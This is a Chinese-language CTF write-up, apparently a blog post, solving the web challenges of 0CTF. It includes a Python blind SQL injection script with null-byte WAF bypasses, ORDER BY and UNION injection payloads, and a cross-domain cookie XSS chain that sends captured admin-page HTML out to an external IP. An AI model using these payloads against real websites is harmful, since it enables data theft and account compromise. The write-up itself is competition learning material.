0CTF web部分Writeup

第一次很认真的打满了两天除了第一天在处理别的事。做到XSS还是懵逼,注入大概算是入门了吧。

simplesqlin

这么直白的题目23333

那我也直白点:
直接在过滤函数中注入%00即可绕过Waf

废话不多说贴代码:

# -*- coding:utf-8 -*-
import requests
import binascii
"""
url="http://202.120.7.203/index.php?id=1%20%26%26%20%20left(database(),1)%20=binary()%00"
a=requests.get(url)
print len(a.content)
"""
flag=""
lists="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}"
for j in range(26):
    for i in lists:
        hexc=binascii.b2a_hex(i)
        url="http://202.120.7.203/index.php?id=1%20%26%26%20%20mid((sel%00ect%20flag%20fr%00om%20flag%20limit%200,1),"+str(j)+",1)%20=binary(0x"+hexc+")%00"
    #   print url
        response=requests.get(url)
        if len(response.content)==280:
            print i
            flag=flag+i
            break
        elif len(response.content)==222:
            print '.',
            continue
        else:
            break
print flag
# True_len=280
# False_len=222
# database()=news
# flag=flag{W4f_bY_paSS_f0R_CI}

Temmo's Tiny Shop

队友早上玄学的登录了别人的帐号,然后顺利买了HINT

Web2_HINT

然后下午发现原来的帐号挂了
但是很容易测试出admin帐号可以登

然后提示就是下面的图

Web2_order_by

很容易想到order by 注入,但是waf比较烦,fuzz了很多遍没有fuzz出完整可用的函数,最后发现是fuzz中不能出现()

很绝望,再测试一遍就出来了。
但是很想知道为什么left(payload,1)能过但是left(payload,2)就过不了了,迷~

payload:

url="http://202.120.7.197/app.php?action=search&keyword=&order=if((ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),"+str(i)+",1))like("+str(ord(j))+")),price,name)"

kog

也是谜一样的题目~顺便心疼下二进制狗

初看js的源码就能发现是通过ajax提交的,而且前面的GetUrlParms()很可疑,如果直接提交根本没有用,前面因为functionn.js实在太长了,因此没仔细看。

提交?id=1'发现存在注入检测,但是如果提交?id=1会提交到api.php?id=1&hash=xxxxx&time=xxxx说明防注入检测应该是在前端。hash和time是用来校验语句用的,思路明确

下载htmlfunctionn.js到本地,调试一波,patch上检测点即可

全文diff

web3_diif

本地搭建后即可,但是会存在无法跨域的问题,反正没多大关系,就不解决。
直接构造payload,然后复制注入地址看返回即可

payload:

http://202.120.7.213:11181/api.php?id=-1%20union%20select%201,hey%20from%20fl4g%20/**/&hash=dc772416a01e26ba24f479dc850c39e4&time=1489941581

complicated xss

是不是太坑了,简单XSS反而做不出,复杂的反而容易

简单的看了下两个页面,发现第一个页面http://government.vip/中存在XSS且没有任何过滤,第二个页面http://admin.government.vip:8000的cookie会显示的页面上,同时要求admin上传webshell,于是想到应该可以利用第一个页面跨域set-cookie到第二个页面,也就是一个CSRF_Attack,接下来就是不停探测的过程

但是上传的关键点是在admin域,因为admin域存在沙箱,但是admin下upload页面没有沙箱因此可以过

直接放payload

<script>
document.cookie="username=aa</iframe><script>var iframe = document.createElement('iframe')<\/script><script>iframe.id = 'ddog'<\/script><script>iframe.name = 'iframe1'<\/script><script>iframe.src='upload'<\/script><script>document.body.appendChild(iframe)<\/script><script>var content=\"<script>document.write(decodeURIComponent('%3Cscript%3E%0Afunction%20submitRequest%28%29%0A%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20var%20xhr%20%3D%20new%20XMLHttpRequest%28%29%3B%0A%20%20%20%20%20%20%20%20xhr.open%28%22POST%22%2C%20%22upload%22%2C%20false%29%3B%0A%20%20%20%20%20%20%20%20xhr.setRequestHeader%28%22Accept%22%2C%20%22text%2fhtml%2Capplication%2fxhtml%2bxml%2Capplication%2fxml%3Bq%3D0.9%2C%2a%2f%2a%3Bq%3D0.8%22%29%3B%0A%20%20%20%20%20%20%20%20xhr.setRequestHeader%28%22Accept-Language%22%2C%20%22zh-CN%2Czh%3Bq%3D0.8%2Cen-US%3Bq%3D0.5%2Cen%3Bq%3D0.3%22%29%3B%0A%20%20%20%20%20%20%20%20xhr.setRequestHeader%28%22Content-Type%22%2C%20%22multipart%2fform-data%3B%20boundary%3D---------------------------12264101169922%22%29%3B%0A%20%20%20%20%20%20%20%20xhr.withCredentials%20%3D%20true%3B%0A%20%20%20%20%20%20%20%20var%20body%20%3D%20%22-----------------------------12264101169922%5Cr%5Cn%22%20%2b%20%0A%20%20%20%20%20%20%20%20%20%20%22Content-Disposition%3A%20form-data%3B%20name%3D%5C%22file%5C%22%3B%20filename%3D%5C%22shell%5C%22%5Cr%5Cn%22%20%2b%20%0A%20%20%20%20%20%20%20%20%20%20%22Content-Type%3A%20text%2fplain%5Cr%5Cn%22%20%2b%20%0A%20%20%20%20%20%20%20%20%20%20%22%5Cr%5Cn%22%20%2b%20%0A%20%20%20%20%20%20%20%20%20%20%22shell%5Cr%5Cn%22%20%2b%20%0A%20%20%20%20%20%20%20%20%20%20%22-----------------------------12264101169922%5Cr%5Cn%22%20%2b%20%0A%20%20%20%20%20%20%20%20%20%20%22Content-Disposition%3A%20form-data%3B%20name%3D%5C%22submit%5C%22%5Cr%5Cn%22%20%2b%20%0A%20%20%20%20%20%20%20%20%20%20%22%5Cr%5Cn%22%20%2b%20%0A%20%20%20%20%20%20%20%20%20%20%22%5Cxcc%5Cxe1%5Cxbd%5Cxbb%5Cxb2%5Cxe9%5Cxd1%5Cxaf%5Cr%5Cn%22%20%2b%20%0A%20%20%20%20%20%20%20%20%20%20%22-----------------------------12264101169922--%5Cr%5Cn%22%3B%0A%20%20%20%20%20%20%20%20var%20aBody%20%3D%20new%20Uint8Array%28body.length%29%3B%0A%20%20%20%20%20%20%20%20for%20%28var%20i%20%3D%200%3B%20i%20%3C%20aBody.length%3B%20i%2b%2b%29%0A%20%20%20%20%20%20%20%20%20%20aBody%5Bi%5D%20%3D%20body.charCodeAt%28i%29%3B%20%0A%20%20%20%20%20%20%20%20xhr.send%28new%20Blob%28%5BaBody%5D%29%29%3B%0A%20%20%20%20%20%20%20%20document.write%28encodeURIComponent%28xhr.response%29%29%0A%20%20%20%20%20%20%7D%0A%0AsubmitRequest%28%29%0A%3C%2fscript%3E'))<\\/script>\"<\/script><script>setTimeout(\"iframe.contentWindow.document.write(content)\", 3000)<\/script><script>document.body.appendChild(iframe)<\/script><script>window.onload = setTimeout(\"window.location.href='http://182.254.216.171/test/?id='+encodeURIComponent(document.getElementById('ddog').contentWindow.document.documentElement.outerHTML)\",3000)<\/script>;domain=.government.vip; path=/;"
window.location.href="http://admin.government.vip:8000";
</script>

直接apache日志里找到flag
xss_flag

发表评论